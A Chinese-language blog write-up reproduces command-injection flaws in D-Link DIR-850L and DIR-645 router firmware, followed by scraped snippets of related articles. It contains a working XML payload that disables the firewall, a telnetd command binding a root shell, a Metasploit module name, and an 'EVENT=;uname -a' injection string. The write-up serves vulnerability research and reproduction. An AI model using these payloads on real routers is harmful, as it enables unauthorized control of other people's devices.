路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现

前言

这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。

漏洞分析

根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。

php 源代码

代码如下:

这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。

通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid

首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。

构造 xml 数据:

<postxml>
<module>
    <service>DEVICE.TIME</service>
    <device>
        <time>
            <ntp>
                <enable>1</enable>
                <period>604800</period>
                <server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
            </ntp>
            <ntp6>
                <enable>1</enable>
                <period>604800</period>
            </ntp6>
            <timezone>61</timezone>
            <time></time>
            <date></date>
            <dst>0</dst>
            <dstmanual></dstmanual>
            <dstoffset></dstoffset>
        </time>
    </device>
</module>
</postxml>

这里的 payload 将目标服务器的 iptables 防火墙关闭,并在 23090 端口开启 telnet 服务

  • 这里的变量 $enable$enablev6 都设置为 1,就执行了第一个分支。

之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi 发送激活请求。

返回 OK 则表示已经激活成功。

这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service 变量

漏洞利用

按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。

开启 telnetd 服务

telnetdbusybox 程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。

telnetd -p 23090 -l /bin/sh

在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh 程序,即反弹一个 busybox 的 shell。

和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接

图上表明正常获取了目标 busybox 的 shell。

使用 metasploit 反弹 shell

在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。

exploit/linux/http/dlink_dir850l_unauth_exec

在 exploit-db 上的位置

这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:

sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装好后打开 msf, use exploit 设置好参数就行了。

这样就反弹了一个 busybox 的 shell。

DIR-645 命令执行

在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。

固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP

service.cgi 分析

同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main 这个函数处。

接下来一步步分析函数的功能,首先使用 getenv 函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。

使用 cgibin_parse_request 函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser 函数判断用户是否已经登录。

之后获取 POST 表单字段,若字段名为 EVENT 的话,就将 "event %s > /dev/null" 作为参数执行 lxmldbc_system 函数。

.text:0040CF58
.text:0040CF58                 loc_40CF58:
.text:0040CF58                 lui     $a0, 0x42
.text:0040CF5C                 jal     sub_40CD50
.text:0040CF60                 la      $a0, aEvent      # "EVENT"
.text:0040CF64                 la      $a0, aAction     # "ACTION"
.text:0040CF6C                 jal     sub_40CD50
.text:0040CF70                 move    $s2, $v0         # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
.text:0040CF74                 la      $a0, aService    # "SERVICE"
.text:0040CF7C                 jal     sub_40CD50
.text:0040CF80                 move    $s0, $v0
.text:0040CF84                 lw      $gp, 0x130+var_120($sp)
.text:0040CF88                 beqz    $s2, loc_40CFA4
.text:0040CF8C                 move    $s1, $v0
.text:0040CF90                 lui     $a0, 0x42
.text:0040CF94                 la      $t9, lxmldbc_system
.text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
  • 注意 mips 的流水线效应。

lxmldbc_system 函数中调用了 system 函数,跟进分析一下

开头先执行了 vsnprintf 函数,格式化字符串到栈上 ($sp+0x428+var_40C)

vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)

vsnprintf 函数的解释:

函数原型:int vsnprintf(char str, size_t size, const char format,va_list ap);
函数说明:将可变参数格式化输出到一个字符数组
参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法

这个函数和 snprintf 函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。

接着调用 system 函数,这里的 $s0 = $sp+0x428+var_40C 可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。

.text:004133E4                 la      $t9, system
.text:004133E8                 nop
.text:004133EC                 jalr    $t9 ; system
.text:004133F0                 move    $a0, $s0         # command

也就是执行了 system("event %s > /dev/null"),显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。

所以在这里我们只需要提交类似于 EVENT=;uname -a%26 的 POST 数据就行了。

  • 前面的分号换成 | 和 & 都可以正常注入,后面只能为 & 。

system 函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。

  • 这里构造 SERVICE 字段也行,只不过需要再加上 ACTION 字段配合使用才行。

总结

DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。

参考文章

https://www.freebuf.com/articles/terminal/164680.html

原文地址:https://www.cnblogs.com/H4lo/p/10996949.html

时间: 2024-08-29 04:20:45

路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现的相关文章

小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘原则[会比自动扫描器发现的漏洞要多,要全面] 1.每一个变量都进行尝试 2.所有头[如:cookie中的变量] 3.逐个变量删除 #####################################################################################

NETGEAR 系列路由器命令执行漏洞简析

NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和修复,有些人忙于利用,而我们则在复现的过程中寻找漏洞的本质. 一.漏洞简介 1.漏洞简介 2016年12月7日,NETGEAR R7000路由器在exploit-db上被爆出存在远程命令执行漏洞,随着安全研究人员的不断深入,R8000和R6400这两款路由器也被证实有同样的问题. 2016年12月1

由一道工控路由器固件逆向题目看命令执行漏洞

前言 2019 工控安全比赛第一场的一道固件逆向的题目,好像也比较简单,好多人都做出来了.这里就分别从静态和动态调试分析复现一下这个命令执行的洞. 赛题说明 题目给的场景倒是挺真实的:路由器在处理 tddp 协议时出现了命令注入,导致了远程命令执行.就是后面做出来的这个答案的格式咋提交都不对... 题目给了一个压缩文件,解压出来时一个 bin 文件. 使用 binwalk -Me 直接解压,得到了与一个标准的 linux 风格的文件系统: 后来知道这个固件其实就是 tp_link SR20 路由

DVWA系列之10 命令执行漏洞的挖掘与防御

通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数. EscapeShellCmd()函数可以把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道符(|).分号(;).重定向(>).从文件读入(<)等. 下面我们来测试一下这个函数是否管用,以low级别的命令执行漏洞为例,对应的网页文件为D:\AppServ\www\dvwa\vulnerabilities\exec\source\low.p

php代码审计5审计命令执行漏洞

命令执行漏洞:通过易受攻击的应用程序在主机操作系统上执行任意命令,用户提供的数据(表单,cookie,http头等)未过滤 挖掘思路:用户能够控制函数输入,存在可执行代码的危险函数 命令执行和代码执行的区别:命令执行 执行效果不受限于语言,语法本身,不受命令本身限制代码执行 执行效果完全受限语言本身 命令执行类型:代码层过滤不严,系统的漏洞造成命令注入,调用的第三方组件存在代码执行漏洞 常见危险函数system函数string system(string $command[,int &$retu

【知道创宇404实验室】Oracle WebLogic远程命令执行漏洞预警

2019年04月17日,国家信息安全漏洞共享平台(CNVD)官方发布安全公告 http://www.cnvd.org.cn/webinfo/show/4989 称Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞,***者可利用该漏洞,可在未授权的情况下远程执行命令.随后知道创宇404实验室启动应急流程,通过分析后复现了该漏洞并确定该漏洞影响启用了wls9_async_response.war及wls-wsat.war组件的所有Weblogic版本(包括最新版本

Metasploit溢出java RMI SERVER命令执行漏洞

利用java RMI SERVER命令执行漏洞,获得目标主机root权限. Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行. 一.利用nmap工具扫描目标主机 1.1使用nmap命令对目标主机进行扫描.单击桌面空白处,右键菜单选择"在终端中打开". 1.2在终端中输入命令"nmap –sV  192.168.1.3",对目标主机进行端口扫描,发现开放1099端口. 1.3在终端中输入命令"msfco

ASP代码审计 -4.命令执行漏洞总结

命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip") response.write server.createobject("wscript.shell").exec("cmd.exe /c ping "&ip&"").stdout.readall %> 利用方式: http:

命令执行漏洞

0x01:命令执行漏洞简介 用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码 0x02:命令执行 VS 代码执行 命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行脚本代码调用操作系统命令 命令执行原理: 在操作系统中,"&.|.||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导